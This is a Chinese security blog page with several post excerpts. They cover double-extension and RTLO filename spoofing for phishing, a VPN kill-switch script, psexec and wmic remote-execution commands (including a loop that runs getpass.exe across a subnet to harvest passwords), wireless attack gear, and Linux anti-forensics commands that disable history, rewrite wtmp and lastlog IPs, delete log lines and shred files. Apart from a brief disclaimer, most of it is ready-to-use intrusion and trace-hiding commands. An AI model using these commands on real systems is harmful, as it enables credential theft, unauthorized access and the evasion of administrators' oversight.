Lucid 's Blog | 安全博客

记录成长历程

0x00  隐藏的扩展已知文件类型

Windows默认的设置是隐藏已知文件类型的扩展名,如果开启了,可以在文件夹选项中开启已知扩展名的显示,当扩展名被隐藏后,如果有一个双扩展名,不太细心的用户就有可能会被欺骗。下面演示下双扩展:

notes.txt.exe

上面的文件实际上是一个可执行文件,但默认在Windows中却显示为notes.txt,那是因为隐藏了已知后缀,将exe隐藏了起来,我们为了让文件看起来更有说服力,可以将文件的图标更改为记事本图标,你可以从下面的示例图像中看到,它看起来就像一个普通的文本文件。

HTTP://3389.IN

但是我们将视图显示为详细信息的时候,就可以看到它的属性是一个可执行文件

HTTP://3389.IN

这个一个比较老的技巧了,一些防火墙或者杀毒软件会警告双后缀

防御: 显示已知后缀

0x01 RTLO/RLO (right to left override)

RTLO是Right to Left Override的缩写,他是一个 U+202E 的Unicode字符,用于阿拉伯语和希伯来语中将句子倒过来显示(从右往左显示),它可以让字符后面紧跟的字符串倒

可以用来欺骗用户打开可执行文件(钓鱼攻击),或者欺骗后端应用的检查机制。

虽然这个技术是有点老了,但仍然被像Etumbot,Sirefef等后门程序使用

阅读剩余部分...


实现功能:

拨入vpn后,如果vpn掉线,将不能访问任何网络,以防暴漏自己真实ip地址

Windows :

1,python脚本(检测网卡信息如果没有ppp信息,释放网卡ip地址)

#!#/usr/bin/env python
#coding=utf-8
import msvcrt 
import time
import os
x=0
print "Enter 'q' to exit"
vpn=os.popen("ipconfig |find \"PPP\"").read()
if vpn=="":
    print "No VPN"
else:
    x=1
while x:
    key=""
    time.sleep(0.5)
    if msvcrt.kbhit():
        key=msvcrt.getch()
    vpn=os.popen("ipconfig |find \"PPP\"").read()
    if(vpn==""):
        os.popen("ipconfig /release").read()
        print "Vpn Disable!!"
        opt=raw_input("Network is Down. Need up?(y/n):")
        if opt=='y':
            os.popen("ipconfig /renew").read()
            print "Network is Up!!!"
        exit(1)
    else:
        print "%d check: VPN OK!"%(x)
    x+=1
    if key=="q":
        print "Exiting..."
        exit(1)
        #os.system("ipconfig /renew")

编译后exe程序下载(适用无python环境)

2,路由表操作

拨入vpn或者其他vpn客户端软件后,再本地路由表(route print) 可以看到两个网关信息,一个是本地网关记录,另一个是vpn网关记录
需要管理员权限来运行,可以自制bat

删除本地网关为192.168.1.1的默认路由(只通过vpn网关上网)

route delete 0.0.0.0 192.168.1.1

添加本地网关为192.168.1.1的默认路由(恢复网络)

route add 0.0.0.0 mask 0.0.0.0 192.168.1.1

Linux(bash脚本)

#!/bin/bash
n=1
while true;do
    ifconfig|grep ppp >/dev/null
    if [ $? -eq 0 ];
    then
        echo "$n Check: VPN OK"
        sleep 1
        n=`expr $n + 1`
    else
        ifconfig eth0 down
        echo "Network is Down"
        echo "please run:ifconfig eth0 up"
        exit
    fi
done

阅读剩余部分...


查看远程计算机共享内容

net view \\192.168.1.100 

psexec:
远程执行工具

环境: 需要开启admin$
        445端口

注意:psExec建立连接后会在对方机器安装一个服务(PSEXESVC),exit退出后会清除,但是会出现概率不能删除,易于管理员发现(本地测试过几次,只有一次安装了服务)

psexec \\192.168.1.100 /accepteula -u administrator -p 123456 ipconfig  #远程执行cmd命令并返回结果  
psexec \\192.168.1.100 /accepteula -u administrator -p 123456 -c getpass.exe  

-c <[路径]文件名>:拷贝文件到远程机器并运行(注意:运行结束后文件会自动删除)

getpass.exe为本机psexec.exe所在目录下,也可以直接执行其他目录的路径,例如c:\getpass.exe

批量抓同网段密码

for /L %%G in (128 1 128) do  psexec \\172.16.44.%%G  /accepteula -u administrator -p 123456 -c c:\getpass.exe >172.16.44.%%G_pass.txt 

拷贝本地psexec.exe文件所在目录的getpass.exe到远程计算机. 执行并返回结果 ,并删除远程计算机的getpass.exe(批量抓全部机器密码)

wmic:
从命令行接口和批命令脚本执行系统管理的支持

环境:WMIC服务启动(Windows Management Instrumentation),禁用情况下会提示Description = 无法启动服务
        135端口

wmic /node:192.168.1.100 /user:administrator /password:123456 process call  create c:\1.exe      ##创建进程,可以直接运行exe程序或者执行系统命令,例如添加用户,不过没有命令返回的结果  
wmic /node:192.168.1.100 /user:administrator /password:123456 process  ##查看远程计算机进程   
wmic /node:192.168.1.100 /user:administrator /password:123456 process where name="calc.exe" call terminate  ##关闭远程计算机进程   
wmic /output:"%userprofile%\Desktop\temp.html" /node:192.168.1.100 /user:administrator /password:123456  process list full /format:htable ##读取进程并以html格式化输出到本地桌面   
wmic /node:192.168.1.100 /user:administrator /password:123456 useraccount ##查看远程计算机用户    
wmic /node:192.168.1.100 /user:administrator /password:123456 computersystem get domain  ##读取远程计算机域/工作组    
wmic /node:192.168.1.100 /user:administrator /password:123456 SHARE CALL Create "","test","3","c_share","","c:\",0  ##开启远程计算机共享 c_share为共享名字,c:\为共享路径  
wmic /node:192.168.1.100 /user:administrator /password:123456 SHARE where name="c_share" call delete  ##删除远程计算机共享,可以直接运行SHARE  查看全部共享 
wmic /node:192.168.1.100 /user:administrator /password:123456  PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1         ##开启远程计算机的远程桌面 
wmic /output:"%userprofile%\Desktop\temp.html" /node:192.168.1.100 /user:administrator /password:123456 FSDIR where "drive='c:'" list  /format:htable    ##读取远程计算机C盘的全部目录并输出到桌面

schtasks:
本地或远程系统上的计划系统。替代 at

阅读剩余部分...


免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

在电影里黑客都在大街上或者马路上直接用笔记本“嗒…嗒…嗒…”就把某个东西“黑”掉了——这都是通过无线的。本文将介绍一名无线安全工程师的装备库。

2.4GHz 定向or全向天线

请输入图片描述

定向天线的话本来想自己做出一个便携的.苦于没有太多的时间..全向我是选择某位大神的作品..

天线材料作者采用九节空心紫铜管镀银制作.天线在材料选取至关重要.之前在微博说过天线材料的选取.

大部分小伙伴还是对材料选取方面有一定的误区在这里我就不多说….

天线的搭配方案我建议是:

12DB全向配合3070网卡…对目标区域进行无线拓扑分析.并根据三点定位的特性.获取目标AP大概位置…

当分析目标区域内无线环境拓扑后..切换用定向天线配合8187网卡对目标AP…..当能够进入到目标无线网络中在切换回来.

阅读剩余部分...


上篇文章Linux下入侵匿迹隐藏的方法,是一些大牛的思路和操作命令,下面有些是已经重复的,主要是做个记录,把常用的命令都整理下

登录后执行下面命令,不记录历史命令(.bash_history)

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

last命令结果修改ip(如果修改用户什么的,自己修改下把)
Centos

utmpdump /var/log/wtmp |sed "s/8.8.8.8/1.1.1.1/g" |utmpdump -r >/tmp/wtmp1 &&\mv  /tmp/wtmp1 /var/log/wtmp

unix

/usr/lib/acct/fwtmp < /var/adm/wtmpx | sed "s/192.168.8.88/localhost/g" | /usr/lib/acct/fwtmp -ic > /var/adm/wtmpx

lastlog 修改替换

sed -i 's/192.168.1.1/8.8.8.8/' /var/log/lastlog

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T [email protected] /bin/bash –i

多次覆盖文件,使得即使是昂贵的硬件探测仪器也难以将数据复原 -n, --iterations=N 覆盖N 次,而非使用默认的3 次。

shred -n 31337 -z -u filename

-n, --iterations=N 覆盖N 次,而非使用默认的3 次
-z, --zero 最后一次使用0 进行覆盖以隐藏覆盖动作
-u, --remove 覆盖后截断并删除文件

登录账户 w下管理员是看不到的

ssh -T [email protected] /bin/bash –i

日志文件
/var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一
/var/log/secure 与安全相关的日志信息
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与UUCP和news设备相关的日志信息
/var/log/boot.log 守护进程启动和停止相关的日志消息
/var/log/btmp – 记录所有失败登录信息 命令:lastb
/var/log/auth.log 系统授权信息,包括用户登录和使用的权限机制等 (debian)

删除部分日志,比如以当天日期或者自己的登录ip

sed  -i '/当前时间/'d  /var/log/messages

本来想自动提取当前时间,感觉麻烦,还是自己手动修改时间或者ip把,适用性也会 好点把

个人建议登录linux,使用winscp工具连接,选择sftp协议,执行命令或者操作目录文件,在history,lastlog,last,w下不会有记录,
但是在/var/log/secure会有sftp连接记录,只需要清理登录日志就可以了